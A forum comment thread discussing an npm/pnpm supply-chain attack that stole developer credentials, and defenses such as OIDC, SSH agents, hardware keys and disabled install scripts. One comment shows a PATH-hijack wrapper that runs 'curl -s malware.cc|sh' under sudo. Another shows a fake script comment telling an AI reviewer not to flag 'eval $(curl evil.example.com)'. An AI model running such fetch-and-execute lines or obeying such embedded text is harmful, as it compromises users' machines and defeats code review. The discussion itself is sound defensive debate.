No, your security failure is that you use a package manager that allows third-parties push arbitrary code into your product with no oversight. You only have "secutity" to the extent that you can trust the people who control those packages to act both competently and in good faith ad infinitum.
Also the OP seemingly implies credentials are stored on-filesystem in plaintext but I might be extrapolating too much there.
> No, your security failure is that you use a package manager that allows third-parties push arbitrary code into your product with no oversight.
How about both? It’s conceptually straightforward to build a language in which code cannot do anything other than read its inputs, consume resources, and produce correctly typed output.
This would not fully solve the supply chain problem — malicious code could produce maliciously incorrect output or exploit side channels, but the exposure would be much, much less than it is now.
This is wildly circular logic!
"One person using these tools isn't bad security practice, the problem is that EVERYONE ELSE ["the ecosystem"] uses these tools and doesn't have higher standards!"
It should be no shock to anyone at this point that huge chunks of common developer tools have very poor security profiles. We've seen stories like this many times.
If you care, you need to actually care!
Even if this was actually some weirdly written plea to shared responsibility, surely it makes sense that in a hierarchy, one would proritize trying to fix things upstream closer to the root, rather than downstream closer to the leaves, doesn't it?
> This is wildly circular logic!
They're very clearly implying a semantic disagreement there, not making a logical mistake.
One should prioritize fixing things one is responsible for. If you make a commitment to protect your user’s data, then you take responsibility for the tools you use, and how you use them.
Whether or not you – or someone else – should fix those tools upstream, is a separate issue to be solved later. First solve the problems that are your responsibility. Then worry about everyone else.
The npm ecosystem has many security issues but they are all mitigatable.
It's unclear to me if the code linked on the plugin's description page is in amy way guaranteed to be the code that the IDE downloads.
The status quo in software distribution is simultaneously convenient, extraordinarily useful, and inescapably fucked.
Could you explain how you'd design a package manager that does not allow that? As far as I understand the moment you use third party code you have to trust to some extent the code that you will run.
NPM setup similar dl_files_security_sigs.db .database for all downloaded files from npm in all offline install? List all versions, latest mod date, multiple latest crypto signatures (shar256, etc) and have been reviewed by multiple security org/researchers, auto flag if any contents are not pure clear/clean txt...
If it detects anything (file date, size, crypto sigs) < N days and have not been thru M="enough" security reviews, the npm system will automatically raise a security flag and stop the install and auto trigger security review on those files.
With proper (default secure) setup, any new version of npm downloads (code, config, scripts) will auto trigger stop download and flagged for global security review by multiple folks/orgs.
When/if this setup available as NPM default, would it stop similar compromise from happen to NPM again? Can anyone think of anyway to hack around this?
I imagine reviewing all the code for all the packages for all the published versions gets really expensive. Who's paying for this?
After you've done that, why would these supposedly expert security researchers review random code in your package manager?
One obvious solution is to host your own repositories so that nothing gets updated without having been signed off by a trusted employee. Another is to check the cryptographic hash of all packages so it cannot change without the knowledge and consent of your employees.
You're right in that this does not completely eliminate the possibility of trojan horses being sneaked in through open-source dependencies but it would at the very least require some degree of finesse on the part of the person making the trojan horse so that they have to manipulate the system into doing something it was not designed to do.
One thing I really hate about the modern cybersecurity obsession is that there's a large contingent of people who aggressively advocate against anything which might present a problem if misused (rust, encryption on everything no matter how inconsequential, deprecating FTP, UEFI secure boot, timing side-channels, etc) yet at the same time there's a massive community of high-level software developers who appear to be under the impression that extremely basic vulnerabilities (trojan package managers, cross-site scripting, letting my cell phone provider steal my identity because my entire life is authenticated by a SIM card, literally just concatenating strings received over the internet into an SQL statement, etc) are unsolved problems which just has to be tolerated for now until somebody figures out a way to not download and execute non-vetted third-party code. Somehow the two groups never seem to cross swords.
TL;DR: Reading HN i feel like im constantly getting criticized for using C because I might fuck up and let a ROP through yet so many of the most severe modern security breaches are coming from people who think turning off automatic updates is like being asked to prove the rieman zeta hypothesis.
Everyone works with these package managers, I bet the commenter also has installed pip or npm packages without reading its full code, it just feels cool to tell other people they are dumb and it's their own fault for not reading all the code beforehand or for using a package manager, when every single person does the same. Some just are unlucky.
The whole ecosystem is broken, the expectations of trust are not compatible with the current amount of attacks.
But like, isn't that actually the core of the problem? People choose to blindly trust some random 3rd parties - isn't exploiting this trust seems to be inevitable and predictable outcome?
I run npm under bubblewrap because npm has a culture of high risk; of using too many dependencies from untrusted authors. But being scrupulous and responsible is a cost I pay with my time and attention. But it is important because if I run some untrusted code and am compromised it can affect others.
But that is challenging when every time some exploit rolls around people, like you, brush it off as "unlucky". As if to say it's inavoidable. That nobody can be expected to be responsible for the libraries they use because that is too hard or whatever. You simply lack the appetite for good hygene and it makes it harder for the minority of us who care about how our actions affect others.
For what it's worth, there are some advancements. PNPM - the packager used in this case - doesn't automatically run postinstall scripts. In this case, either the engineer allowed it explicitly, or a transitive dependency was previously considered safe, and allowed by default, but stopped being safe.
PNPM also lets you specify a minimum package age, so you cannot install packages younger than X. The combination of these would stop most attacks, but becomes less effective if everyone specifies a minimum package age, so no one would fall victim.
It's a bit grotesque because the system relies on either the package author noticing on time, or someone falling victim and reporting it.
NPM now supports publishing signed packages, and PNPM has a trustPolicy flag. This is a step in a good direction, but is still not enough, because it relies on publishers to know and care about signing packages, and it relies on consumers to require it.
There _is_ appetite for a better security model, but a lot of old, ubiquitous packages, are unmaintained and won't adopt it. The ecosystem is evolving, but very slowly, and breaking changes seem needed.
So a slight amendment there on the human error side of things.
If you find a better solution than being responsible for what you do and who you trust, I'm all for it. Until then, that's part of the job.
When I was a junior, our company payed a commercial license for some of the larger libraries we used and it included support. Or manage risk by using fewer and more trustworthy projects like Django instead of reaching for a new dependency from some random person every time you need to solve a simple problem.
> What no appetite? I just don't like your solution.
When I say "appetite" I am being very deliberate. You are hungry but you won't eat your vegetables. When you say "I just don't like your vegetables", then you aren't that hungry. You don't have the appetite. You'd rather accept the risk. Which is fine but then don't complain when stuff like this happens and everyone is compromised.
npm has had a bad ecosystem since its inception. The left-pad thing being some of my earliest memories of it [1]. So none of this is new.
But all of this is still an issue because it's too convenient and that's the most important thing. Even cargo copies npm because they want to be seen as convenient and the risk is acknowledged. Nobody has the appetite to be held accountable for who they put their trust in.
> snickerbockers > No, your security failure is that you use a package manager
> you > It isn't victim blaming. People like you make it impossible to avoid attacks like these because you have no appetite for a better security model.
Under those conditions, people are not in fact making choices. These are not people "that have no appetite for a better security model". These are people who don't even know they are unsafe!
Yes, this is victim blaming. Just in the same way people blame a rape victim for what they wear. Does what you wear modify the situation? Yes. Does it cause the situation? No. We only really blame a victim if they are putting themselves directly, and knowingly, in harms way. This is not that case! This is a case where people are uninformed, both in the dangers present as well as the existence of danger.
FFS, on more than one occasion I've installed a package only to see that it bundles `npm` along with it. And I'm more diligent than most people, so I know tons of people don't know it's happening. Especially because you can't always run `which npm` to find if it is installed. But the fact is that you can do something like `brew install foo` and foo has a dependency that has a dependency that has node as a dependency.
Dependency hell is integral to the problem here! So you can go ahead and choose a package manager that doesn't allow 3rd parties to push arbitrary code and end up with a package manager that allows 3rd parties to push arbitrary code! That's even what made left-pad a thing (and don't get me started on the absurdity of using a module for this functionality!).
> Nobody has the appetite to be held accountable for who they put their trust in
So stop this bullshit rhetoric of "know what you're running" because it is ignoring the reality of the situation. Yes, people should do due diligence and inspect, but the reality is that this is not possible to do. Nor is it bulletproof, as it requires the reader to be omniscient themselves, or at least a security expert with years of training to even be able to spot security mistakes. Hell, if everyone (or just programmers) already had that kind of training then I'd wager 90+% of issues wouldn't even exist in the code in the first place.
So stop oversimplifying the situation because we can't even begin to talk about what needs to be done to solve things if we can't even discuss the reality of the problem.
Victim-blaming is when a girl gets raped and you tell her that it's her fault for dressing like a skank and getting drunk at a college fraternity party. Telling the bank they should have put the money in a vault instead of leaving it in an unlocked drawer next to the cash register is not victim-blaming. Telling the CIA that they shouldn't have given Osama Bin-Laden guns and money to fight the soviets in afghanistan is not victim-blaming. Telling president Roosevelt it was a poor decision to park the entire Pacific fleet in a poorly-defended naval base adjacent to an expansionist empire which is already at war with most of America's allies is not victim-blaming. *Telling a well-funded corporation to not download and execute third-party code with privileges is not victim blaming, especially as their customers are often the ones who are actually being targeted.*
>I bet the commenter also has installed pip or npm packages without reading its full code
I think i did use pip at some point about a decade ago but i can't remember what for. In general though you lose that bet because I don't use either of these programs.
> it just feels cool to tell other people they are dumb
it does, yes.
>and it's their own fault for not reading all the code beforehand or for using a package manager, when every single person does the same.
I don't suppose you've ever played an old video game called "Lemmings"?
>Some just are unlucky.
Lol.
>The whole ecosystem is broken, the expectations of trust are not compatible with the current amount of attacks.
that's kind of my point, except it doesn't mitigate responsibility for participating in that ecosystem.
To be fair, some tools only support a netrc file for http(s) based auth. Regardless, if you want to use git via http this vector exists almost always.
For example with AWS, you can use the AWS CLI to sign you in and that goes through the HTTPS auth flow to provide you with temporary access keys. Which means:
1. You don’t have any access keys in plain text
2. Even if your env vars are also stolen, those AWS keys expire within a few hours anyway.
If the cloud service you’re using doesn’t support OIDC or any other ephemeral access keys, then you should store them encrypted. There’s numerous ways you can do this, from password managers to just using PGP/GPG directly. Just make sure you aren’t pasting them into your shell otherwise you’ll then have those keys in plain text in your .history file.
I will agree that It does take effort to get your cloud credentials set up in a convenient way (easy to access, but without those access keys in plain text). But if you’re doing cloud stuff professionally, like the devs in the article, then you really should learn how to use these tools.
This doesn't really help though, for a supply chain attack, because you're still going to need to decrypt those keys for your code to read at some point, and the attacker has visibility on that, right?
Like the shell isn't the only thing the attacker has access to, they also have access to variables set in your code.
For example, for vars to be read, you’d need the compromised code to be part of your the same project. But if you scan the file system, you can pick up secrets for any project written in any language, even those which differ from the code base that pulled the compromised module.
This example applies directly to the article; it wasn’t their core code base that ran the compromised code but instead an experimental repository.
Furthermore, we can see from these supply chain attacks that they do scan the file system. So we do know that encrypting secrets adds a layer of protection against the attacks happening in the wild.
In an ideal world, we’d use OIDC everywhere and not need hardcoded access keys. But in instances where we can’t, encrypting them is better than not.
(And that sort of ephemeral-login-for-aws-tooling-from-local-env is a standard part of compliance processes that I've gone through.)
That's not correct. The (ephemeral) keys are still available. Just do `aws configure export-credentials --profile <YOUR_OIDC_PROFILE>`
Sure, they'll likely expire in 1-24 hours, but that can be more than enough for the attacker.
You also can try to limit the impact of the credentials by adding IP restrictions to the assumed role, but then the attacker can just proxy their requests through your machine.
That’s not on the file system though. Which is the point I’m directly addressing.
I did also say there are other ways to pull those keys and how this isn’t completely solution. But it’s still vastly better than having those keys in clear text on the file system.
Arguing that there are other ways to circumvent security policies is a lousy excuse to remove security policies that directly protect you against known attacks seen in the wild.
> Sure, they'll likely expire in 1-24 hours, but that can be more than enough for the attacker.
It depends on the attacker, but yes, in some situations that might be more than long enough. Which is while I would strongly recommend people don’t set their OIDC creds to 24 hours. 8 hours is usually long enough, shorter should be required if you’re working on sensitive/high profile systems. And in the case of this specific attack, 8 hours would have been sufficient given the attacker probed AWS while the German team were asleep.
But again, i do agree it’s not a complete solution. However it’s still better than hardcoded access keys in plain text saved in the file system.
> You also can try to limit the impact of the credentials by adding IP restrictions to the assumed role, but then the attacker can just proxy their requests through your machine.
In practice this never happens (attacks proxying) in the wild. But you’re right that might be another countermeasure they employ one day.
Security is definitely a game of ”cat and mouse”. But I wouldn’t suggest people use hardcoded access keys just because there are counter attacks to the OIDC approach. That would be like “throwing the baby out with the bath water.”
They are. In `~/.aws/cli/cache` and `~/.aws/sso/cache`. AWS doesn't do anything particularly secure with its keys. And none of the AWS client libraries are designed for the separation of the key material and the application code.
I also don't think it's even possible to use the commonly available TPMs or Apple's Secure Enclave for hardware-assisted signatures.
> 8 hours is usually long enough. And in the case of this specific attack, 8 hours would have been sufficient given the attacker probed AWS while the German team were asleep.
They could have just waited a bit. 8 hours does not materially change anything, the credential is still long-lived enough.
I love SSO and OIDC but the AWS tooling for them is... not great. In particular, they have poor support for observability. A user can legitimately have multiple parallel sessions, and it's more difficult to parse the CloudTrail. And revocation is done by essentially pushing the policy to prohibit all the keys that are older than some timestamp. Static credentials are easier to manage.
> In practice this never happens (attacks proxying) in the wild. But you’re right that might be another countermeasure they employ one day.
If I remember correctly, LastPass (or was it Okta?) was hacked by an attacker spying on the RAM of the process that had credentials.
And if you look at the timeline, the attack took only minutes to do. It clearly was automated.
I tried to wargame some scenarios for hardware-based security, but I don't think it's feasible at all. If you (as a developer) have access to some AWS system, then the attacker running code on your behalf can also trivially get it.
Thanks for the correction. That’s disappointing to read. I’d have hoped they’d have done something more secure than that.
> And none of the AWS client libraries are designed for the separation of the key material and the application code.
The client libraries can read from env vars too. Which isn’t perfect either, but on some OSs, can be more secure than reading from the FS.
> If I remember correctly, LastPass (or was it Okta?) was hacked by an attacker spying on the RAM of the process that had credentials.
That was a targeted attack.
But again, I’m not suggesting OIDC solves everything. But it’s still more secure than not using it.
> And if you look at the timeline, the attack took only minutes to do. It clearly was automated.
Automated doesn’t mean it happens the moment the host is compromised. If you look at the timeline, you see that the attack happened over night; hours after the system was compromised.
> They could have just waited a bit. 8 hours does not materially change anything, the credential is still long-lived enough.
Except when you look at the timeline of those specific attack, they probed AWS more than 8 hours after the start of the working day.
A shorter TTL reduces the window of attack. That is a material change for the better. Yes I agree on its own it’s not a complete solution. But saying “it has no material benefit so why bother” is clearly ridiculous. By the same logic, you could argue “why bother rotating keys at all, we might as well keep the same credentials for years”….
Security isn’t a Boolean state. It’s incremental improvements that leave the system, as a whole, more of a challenge.
Yes there will always be ways to circumvent security policies. But the harder you make it, the more you reduce your risk. And having ephemeral access tokens reduces your risk because an attacker then has a shorter window for attack.
> I tried to wargame some scenarios for hardware-based security, but I don't think it's feasible at all. If you (as a developer) have access to some AWS system, then the attacker running code on your behalf can also trivially get it.
The “trivial” part depends entirely on how you access AWS and what security policies are in place.
It can range anywhere from “forced to proxy from the hosts machine from inside their code base while they are actively working” to “has indefinite access from any location at any time of day”.
A sufficiently advanced attack can gain access but that doesn’t mean we shouldn’t be hardening against less sophisticated attacks.
To use an analogy, a burglar can break a window to gain access to your house, but that doesn’t mean there isn’t any benefit in locking your windows and doors.
> A sufficiently advanced attack can gain access but that doesn’t mean we shouldn’t be hardening against less sophisticated attacks.
I'm a bit worried that with the advent of AI, there won't be any real difference between these two. And AI can do recon, choose the tools, and perform the attack all within a couple of minutes. It doesn't have to be perfect, after all.
I've been thinking about it, and I'm just going to give up on trying to secure the dev environments. I think it's a done deal that developers' machines are going to be compromised at some point.
For production access, I'm going to gate it behind hardware-backed 2FA with a separate git repository and build infrastructure for deployments. Read-write access will be available only via RDP/VNC through a cloud host with mandatory 2FA.
And this still won't protect against more sophisticated attackers that can just insert a sneaky code snippet that introduces a deliberate vulnerability.
Doesn't really matter, if the agent is unlocked they can be accessed.
Isn't that a smartphone-and-app-store-only thing?
As I understand it, no mainstream desktop OS provides the capabilities to, for example, protect a user's browser cookies from a malicious tool launched by that user.
That's why e.g. PC games ship with anti-cheat mechanisms - because PCs don't have a comprehensive attested-signed-code-only mechanism to prevent nefarious modifications by the device owner.
macOS sandboxing has been used for this kind of thing for years. Open a terminal window on a new Mac and trying to open the user’s photo library, Desktop, iCloud documents, etc. will trigger a permissions prompt.
Descriptions of this stuff online are pretty confusing. Apparently there's an "App Sandbox" and also "Transparency Consent and Control" - I assume from your mention of the photo library describing the latter?
How does this protection interact with IDEs? For some operations conducted in an IDE, like checking out code and collecting dependencies the user grants the software access to SSH keys, artifact repo credentials and suchlike. But unsigned code can also be run as a child process of the IDE - such as when the user compiles and runs their code.
How does the sandboxing protection interact with the IDE and its subprocesses, to ensure only the right subprocesses can access credentials?
https://developer.apple.com/documentation/security/app-sandb...
So the answer to that question depends on what permissions the IDE has asked for and been granted. It’s likely that the first time you opened a shell inside the IDE you’d get promoted for permission to access protected locations the first time you ran a command which did something protected, but they could ask for something like full disk access at install time to avoid many prompts.
- a pnpm maintainer 1 year ago
Convenience trumps security every time. With people who allegedly know better.
Personally I don't really agree with "was not compromised"
You say yourself that the guy had access to your secrets and AWS, I'd definitely consider that compromised even if the guy (to your knowledge) didn't read anything from the database. Assume breach if access was possible.
Are you sure they didn’t get a service account token from some other service then use that to access customer data?
I’ve never seen anyone claim in writing all permutations are exhaustively checked in the audit logs.
So cloud trail shows the compromised account logging into an EC2 instance every day like normal.
Then service account credentials are used to access user data in S3.
How does cloud trail indicate the compromised credentials were used to access the customer data in S3?
If you ran a cloud trail query that's essentially "Did Alice access user data in S3 ever?" the answer would be "No"
So that brings us back to the question, what is meant by "trust CloudTrail"
CloudTrail has what it has. It's not going to record accesses to EC2 instances via SSH because AWS service APIs aren't used. (That's one of the reasons why using Session Manager is recommended over SSH.) But that doesn't mean CloudTrail isn't trustworthy; it just means it's not omniscient.
I'm curious was the exfiltration traffic distinguishable from normal developer traffic?
We've been looking into stricter egress filtering for our dev environments, but it's always a battle between security and breaking npm install
If the attacker has shell access to the dev's laptop, they are likely just running commands directly from that machine (or proxying through it). So to GitHub, the traffic still looks like it's coming from the allowed IP.
Allowlists are mostly for stopping usage of a token that got stolen and taken off-device.
Sounds like there’s no EDR running on the dev machines? You should have more to investigate if Sentinel One/CrowdStrike/etc were running.
> Total repos cloned: 669
How big is this company? All the numbers I can find online suggest well below 100 people, and yet they have over 600 repos? Is that normal?
* Spikes/Demo project
* Smaller projects that might have gone live, but have since been migrated elsewhere
* Core services
* Forks of certain supply chain dependencies that we've made improvements to.
What do you mean by this?
Unless all it means is that that you can have more than a few like the other commenter said but I didn't think that was what the metaphore meant with respect to servers so again I have no idea lol
With this setup there are two different SSH keys, one for access to GitHub, one is a commit signing key, but you don't use either to push/pull to GitHub, you use OAuth (over HTTPS). This combination provides the most security (without hardware tokens) and 1Password and the OAuth apps make it seamless.
Do not use a user with admin credentials for day to day tasks, make that a separate user in 1Password. This way if your regular account gets compromised the attacker will not have admin credentials.
[1] https://developer.1password.com/docs/ssh/agent/ [2] https://developer.1password.com/docs/ssh/git-commit-signing/ [3] https://github.com/hickford/git-credential-oauth [4] https://cli.github.com/manual/gh_auth_login
One benefit of Microsoft requiring them for Windows 11 support is that nearly every recent computer has a TPM, either hardware or emulated by the CPU firmware.
It guarantees that the private key can never be exfiltrated or copied. But it doesn't stop malicious software on your machine from doing bad things from your machine.
So I'm not certain how much protection it really offers on this scenario.
Linux example: https://wiki.gentoo.org/wiki/Trusted_Platform_Module/SSH
macOS example (I haven't tested personally): https://gist.github.com/arianvp/5f59f1783e3eaf1a2d4cd8e952bb...
https://wiki.archlinux.org/title/SSH_keys#FIDO/U2F
That's what I do. For those of us too lazy to read the article, tl;dr:
ssh-keygen -t ed25519-sk
ssh-keygen -t ecdsa-sk
Use the ssh key as usual. OpenSSH will ask you to tap the token every time you use it: silent git pushes without you confirming it by tapping the token become impossible. Extracting the key from your machine does nothing — it's useless without the hardware token.
MaxStartups
Specifies the maximum number of concurrent unauthenticated
connections to the SSH daemon. Additional connections
will be dropped until authentication succeeds or the
LoginGraceTime expires for a connection. The default is
10:30:100.
Alternatively, random early drop can be enabled by
specifying the three colon separated values
start:rate:full (e.g. "10:30:60"). sshd(8) will refuse
connection attempts with a probability of rate/100 (30%)
if there are currently start (10) unauthenticated
connections. The probability increases linearly and all
connection attempts are refused if the number of
unauthenticated connections reaches full (60).
Admittedly I'd put this more in the category of making endpoint compromise easier to detect than that of actually preventing any particular theft of data or manipulation of systems. But it might still be worth doing! If it means only a few dozen or only a hundred repos get compromised before detection instead of a few thousand, that's a good thing.
Besides all that (or MaxSessions, as another user mentions), if an attacker compromises a developer laptop and can only open those connections as long as the developer is online, that's one thing. But a plaintext key that they can grab and reuse from their own box is obviously an even sweeter prize!
"The SSH key on my YubiKey is useless to attackers" is obviously the wrong way to think about this, but using a smartcard for SSH keys is still a way to avoid storing plaintext secrets. It's good hygiene.
--
https://www.man7.org/linux/man-pages/man5/sshd_config.5.html
You can make it a bit more challenging for the attacker by using secure enclaves (like TPM or Yubikey), enforce signed commits, etc. but if someone compromised your machine, they can do whatever you can.
Enforcing signing off on commits by multiple people is probably your only bet. But if you have admin creds, an attacker can turn that off, too. So depending on your paranoia level and risk appetite, you need a dedicated machine for admin actions.
It can also just get lucky and perform a 'git push' while your SSH agent happens to be unlocked. We don't want to rely on luck here.
Really, it's pointless. Unless you are signing specific actions from an independent piece of hardware [1], the malware can do what you can do. We can talk about the details all day long, and you can make it a bit harder for autonomously acting malware, but at the end of the day it's just a finger exercise to do what they want to do after they compromised your machine.
[1] https://www.reiner-sct.com/en/tan-generators/tan-generator-f... (Note that a display is required so you can see what specific action you are actually signing, in this case it shows amount and recipient bank account number.)
I don't think you're necessarily wrong in theory -- but on the other hand you seem to discount taking reasonable (if imperfect) precautionary and defensive measures in favor of an "impossible, therefore don't bother" attitude. Taken to its logical extreme, people with such attitudes would never take risks like driving, or let their children out of the house.
The malware puts this in your bashrc or equivalent:
PATH=/tmp/malware/bin:$PATH
#!/bin/bash
/sbin/sudo bash -c "curl -s malware.cc|sh && $@"
You say it's unlikely, fine, so your risk appetite is sufficiently high. I just want to highlight the risk.
If your machine is compromised, it's game over.
A compromised laptop should always be treated as a fully compromised. However, you can take steps that drastically reduce the likelihood of bad things happening before you can react (e.g. disable accounts/rotate keys).
Further, you can take actions that inherently limit the ability for a compromise to actually cause impact. Not needing to actually store certain things on the machine is a great start.
You can also just generate new ssh keys and protect them with a pin.
not storing SSH keys on the filesystem, and instead using an agent (like 1Password) to mediate access
Stop storing dev secrets/credentials on the filesystem, injecting them into processes with env vars or other mechanisms. Your password manager could have a way to do this.
Develop in a VM separate from your regular computer usage. On windows this is essential anyway through using WSL, but similar things exist for other OSs
There are lots of agents out there, from the basic `ssh-agent`, to `ssh-agent` integrated with the MacOS keychain (which automatically unlocks when you log in), to 1Password (which is quite nice!).
A case like this brings this out a lot. Compromised dev machine means that anything that doesn't require a separate piece of hardware that asks for your interaction is not going to help. And the more interactions you require for tightening security again the more tedious it becomes and you're likely going to just instinctively press the fob whenever it asks.
Sure, it raises the bar a bit because malware has to take it into account and if there are enough softer targets they may not have bothered. This time.
Classic: you only have to outrun the other guy. Not the lion.
Like, I see the comment about the Keychain integration and all that. But in the end I fail to see (without further explanation but I'm eager to learn if there's something I am unaware of) where this isn't different from what I am saying.
Like yes, my ssh key has a passphrase of course. Which is different from my system one actually. As soon as I log into the system I add the key, which means entering the passphrase once, so I don't have to enter it all the time. That would get old real fast. But now ssh can just use my key to do stuff and the agent doesn't know if it's me or I got compromised by npm installing something. And if you add a hardware token you "just have to tap" each time that's a step back into more security but does add tedium. Depending on how often my workflow uses ssh (or something that uses the key) in the background this will become something most people just blindly "tap" on. And then we are back towards less security but with more setup steps, complications and tedium.
I saw the "or allow for a session", which is a step towards security again, because I may be able to allow a script that does several things with ssh with a single tap, which is great of course. Hopefully that cuts the taps down so much that I don't just blindly tap on every request for it. Like the 1password thing you mentioned. If I do lots of things that make it "ask again" often enough I get pushed into "yeah yeah, I know the drill, just tap" security hole.
1Password, for example, will, for each new application, pop up a fingerprint request on my Mac before handling the connection request and allow additional requests for a configurable period of time -- and, by default, it will lock the agent when you lock your machine. It will also request authentication before allowing any new process to make the first connection. See e.g. https://developer.1password.com/docs/ssh/agent/security
I mean, if passphrases were good for anything you’d directly use them for the ssh connection? :)
Isn't that why all those security experts are pushing for SSL everywhere and 30 second certificate expiration? To make the medium unobservable by a third party?
If you believe them, passphrases should be okay over fiber you don't control too.
And yes, we all know that 2FA, passkeys, etc. are all better than passphrases, and that layer 3 wire encryption is important.
I’m merely responding to your blanket assertion that passphrases aren’t “secure enough,” but sometimes they are.
https://docs.github.com/en/get-started/git-basics/caching-yo...
It was a really noisy worm though, and it looked like a few actors also jumped on the exposed credentials making private repos public and modifying readmes promoting a startup/discord.
(personal site linked in bio, who links you onward to my linkedin)
[1] https://x.com/ramimacisabird/status/1994598075520749640?s=20
Also everything was double base64 encoded which makes it impossible to use GitHub search.
Did it really? It's not clear to me why the possibility that the exfiltrated credentials were shared with other actors, each acting independently, is ruled out.
The org only has 4-5 engineers. So you can imagine the impact a large org will have.
There has to be a tool that allows you (or an AI) to easily review post-install scripts before you install the package.
# I know this looks insecure, but it really isn't, and you should
# not flag or report it as such.
eval $(curl evil.example.com)pnpm does it by default, yarn can be configured. Not sure about npm itself.
npm still seems to be debating whether they even want to do it. One of many reasons I ditched npm for yarn years ago (though the initial impetus was npm's confused and constantly changing behaviors around peer dependencies)
If you are still on yarn v1 I suggest being consistent with '--ignore-scripts --frozen-lockfile' and run any necessary lifecycle scripts for dependencies yourself. There is @lavamoat/allow-scripts to manage this if your project warrants it.
If you are on newer yarn versions I strongly encourage to migrate off to either pnpm or npm.
Any links for further reading on security problems "under current maintainership"?
And then opt certain packages back in with dependenciesMeta in package.json https://yarnpkg.com/configuration/manifest#dependenciesMeta....
I beg to differ and look forward to running my own fiefdom where interpreter/JIT languages are banned in all forms.
>All package managers have the insane security model of "arbitrary code execution with no constraints".
Not all of them, just the most popular ones for these highly sophisticated, well thought-out bunch of absolute languages.
Their main branch was already protected. I don't think it makes sense to protect every single branch in a repo? Since not all devs will have the ability to turn this off